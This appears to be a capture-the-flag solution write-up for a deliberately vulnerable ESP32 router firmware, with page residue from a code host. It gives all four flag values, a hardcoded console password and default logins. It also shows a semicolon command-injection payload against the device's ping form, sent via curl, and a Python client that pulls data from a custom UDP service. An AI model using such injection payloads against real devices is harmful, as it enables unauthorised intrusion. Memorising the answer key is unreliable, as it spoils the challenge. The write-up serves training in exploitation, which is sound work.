174 lines
4.1 KiB
Markdown
174 lines
4.1 KiB
Markdown
# Jnouner Router — Solution
|
|
|
|
**Category:** ESP | **Type:** Multi-part (4 flags)
|
|
|
|
| Flag | Name | Points | Flag value |
|
|
|------|-----------------|--------|-----------------------------------|
|
|
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
|
|
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
|
|
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
|
|
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
|
|
|
|
## Setup
|
|
|
|
Flash the firmware on an ESP32:
|
|
|
|
```bash
|
|
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
|
|
0x1000 bootloader.bin \
|
|
0x8000 partition-table.bin \
|
|
0x10000 jnouned_router.bin
|
|
```
|
|
|
|
Open the UART console:
|
|
|
|
```bash
|
|
screen /dev/ttyUSB0 115200
|
|
```
|
|
|
|
---
|
|
|
|
## Flag 1 — Console Access
|
|
|
|
The UART console shows a `jnoun-console>` prompt. The password is hardcoded in
|
|
the firmware as three concatenated parts. Read the ELF strings or reverse
|
|
`build_admin_password()` in `admin.c`:
|
|
|
|
```
|
|
p1 = "jnoun-"
|
|
p2 = "admin-"
|
|
p3 = "2022"
|
|
→ password = "jnoun-admin-2022"
|
|
```
|
|
|
|
```text
|
|
admin_login jnoun-admin-2022
|
|
```
|
|
|
|
Flag 1 is printed on success.
|
|
|
|
---
|
|
|
|
## Flag 2 — 802.11 TX
|
|
|
|
From the admin console, trigger 802.11 frame emission:
|
|
|
|
```text
|
|
settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware)
|
|
start_emitting ← starts sending raw 802.11 data frames for 90 seconds
|
|
```
|
|
|
|
WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`):
|
|
|
|
- **SSID**: `Jnoun-3E4C`
|
|
- **PSK**: `LAIN_H4v3_Ajnoun`
|
|
|
|
Put a WiFi card into **monitor mode** and capture the 802.11 frames while the
|
|
flooder runs. Among random noise frames, one frame (emitted at a random time
|
|
between 5 and 85 seconds) contains flag 2 in its payload:
|
|
|
|
```bash
|
|
airmon-ng start wlan0
|
|
tcpdump -i wlan0mon -w capture.pcap
|
|
# or
|
|
tshark -i wlan0mon -w capture.pcap
|
|
```
|
|
|
|
Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext
|
|
in the 802.11 data frame payload.
|
|
|
|
---
|
|
|
|
## Flag 3 — Admin Panel
|
|
|
|
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an
|
|
HTTP server at `http://192.168.4.1`.
|
|
|
|
Login with default credentials: `admin` / `admin`.
|
|
|
|
The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin
|
|
page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`.
|
|
|
|
Inject via the `target` field:
|
|
|
|
```text
|
|
POST /api/ping
|
|
target=192.168.1.1; flag
|
|
```
|
|
|
|
Flag 3 is printed to the UART console (`ESP_LOGE` output).
|
|
|
|
Or URL-encoded via curl:
|
|
|
|
```bash
|
|
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
|
|
-d "target=x%3B+flag"
|
|
```
|
|
|
|
---
|
|
|
|
## Flag 4 — JMP Protocol
|
|
|
|
From the admin panel, trigger the exfiltration session:
|
|
|
|
```text
|
|
target=x; start_session
|
|
```
|
|
|
|
The UART console shows:
|
|
|
|
```text
|
|
JMP Server listening on UDP:6999
|
|
PROTOCOL INITIALIZATION LEAK:
|
|
Magic: 0x4A4D5021
|
|
Auth hash (SHA256): <hash>
|
|
Hint: Secret pattern is JNOUNER_SECRET_XXXX
|
|
```
|
|
|
|
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
|
|
then request data blocks:
|
|
|
|
```python
|
|
import socket, struct, hashlib
|
|
|
|
HOST = "192.168.4.1"
|
|
PORT = 6999
|
|
MAGIC = 0x4A4D5021
|
|
SECRET = b"JNOUNER_SECRET_EXFILTRATION"
|
|
|
|
secret_hash = hashlib.sha256(SECRET).digest()
|
|
|
|
# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
|
|
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
sock.sendto(auth_pkt, (HOST, PORT))
|
|
|
|
# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
|
|
resp, _ = sock.recvfrom(1024)
|
|
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
|
|
print(f"Token: 0x{token:08x}")
|
|
|
|
# Request all blocks
|
|
flag = b""
|
|
for block_id in range(10):
|
|
# DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
|
|
req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
|
|
sock.sendto(req, (HOST, PORT))
|
|
resp, _ = sock.recvfrom(1024)
|
|
|
|
# DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
|
|
if len(resp) < 8:
|
|
break
|
|
_, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
|
|
data = resp[8:8+dlen]
|
|
flag += data
|
|
if bid + 1 >= total:
|
|
break
|
|
|
|
print(flag.decode())
|
|
```
|
|
|
|
## Author
|
|
|
|
Eun0us
|